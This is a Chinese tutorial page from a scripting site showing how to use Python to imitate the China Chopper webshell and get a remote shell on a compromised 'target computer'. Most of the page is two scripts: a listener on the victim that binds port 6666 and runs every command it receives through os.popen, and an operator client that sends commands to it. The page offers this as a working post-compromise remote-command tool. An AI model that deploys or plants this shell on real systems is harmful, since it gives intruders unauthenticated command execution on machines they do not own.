脚本之家,脚本语言编程技术及教程分享平台!
分类导航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服务器之家 - 脚本之家 - Python - python模拟菜刀反弹shell绕过限制【推荐】

python模拟菜刀反弹shell绕过限制【推荐】

2021-07-21 00:08痱子 Python

这篇文章主要介绍了利用python模拟菜刀反弹shell绕过限制,本文给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

?
1
2
3
4
5
6
7
8
9
10
11
12
13
from socket import *
from os import *
 
c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

原文链接:https://www.cnblogs.com/yuanzijian-ruiec/archive/2019/06/25/11081385.html

延伸 · 阅读

精彩推荐